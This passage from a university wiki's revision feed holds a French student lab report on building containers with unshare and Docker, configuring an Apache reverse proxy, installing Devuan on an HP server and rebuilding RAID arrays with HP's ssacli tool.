  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48116</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48116"/>
				<updated>2018-11-27T09:51:58Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Mise en route du DAS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP XXXXXX, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP XXXXXXX.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Mise en route du DAS==&lt;br /&gt;
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.&lt;br /&gt;
&lt;br /&gt;
Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.&lt;br /&gt;
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.&lt;br /&gt;
&lt;br /&gt;
De retour sur devuan, la grappe est visible via lsblk.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48115</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
